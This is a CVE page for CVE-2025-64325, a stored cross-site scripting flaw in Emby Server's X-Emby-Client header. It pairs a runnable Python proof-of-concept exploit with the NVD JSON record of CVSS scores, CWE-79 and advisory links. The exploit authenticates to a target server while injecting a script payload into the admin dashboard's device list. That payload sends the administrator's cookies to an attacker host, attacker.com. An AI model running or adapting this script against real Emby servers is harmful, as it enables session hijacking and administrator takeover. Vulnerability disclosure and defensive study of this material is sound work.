CVE-2025-64325

import requests import sys # CVE-2025-64325 PoC - Stored XSS in Emby Server X-Emby-Client header # Target: Emby Server < 4.8.1.0 or < 4.9.0.0-beta def exploit_emby_xss(target_url, username, password): """Exploit stored XSS via X-Emby-Client header""" # Malicious X-Emby-Client value with XSS payload xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' # Step 1: Authenticate and send malicious X-Emby-Client header login_url = f"{target_url}/Users/AuthenticateByName" auth_data = { "Username": username, "Pw": password } headers = { "X-Emby-Client": xss_payload, "Content-Type": "application/json" } try: response = requests.post(login_url, json=auth_data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Authentication successful with malicious X-Emby-Client header") print(f"[+] XSS payload injected: {xss_payload}") print(f"[+] Payload stored in device section of admin dashboard") print(f"[+] Admin will trigger XSS when viewing devices") return True else: print(f"[-] Authentication failed: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2025_64325.py <target_url> <username> <password>") print("Example: python cve_2025_64325.py http://localhost:8096 admin password") sys.exit(1) exploit_emby_xss(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-64325", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:55.497", "lastModified": "2026-01-15T22:01:52.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emby Server is a personal media server. Prior to version 4.8.1.0 and prior to Beta version 4.9.0.0-beta, a malicious user can send an authentication request with a manipulated X-Emby-Client value, which gets added to the devices section of the admin dashboard without sanitization. This issue has been patched in version 4.8.1.0 and Beta version 4.9.0.0-beta."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-116"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emby:emby:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.8.1.0", "matchCriteriaId": "3E02E58D-7680-4DF4-B14E-12315E3BECA6"}]}]}], "references": [{"url": "https://github.com/EmbySupport/Emby.Security/security/advisories/GHSA-2gwc-988r-2r7x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/EmbySupport/Emby.Security/security/advisories/GHSA-2gwc-988r-2r7x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}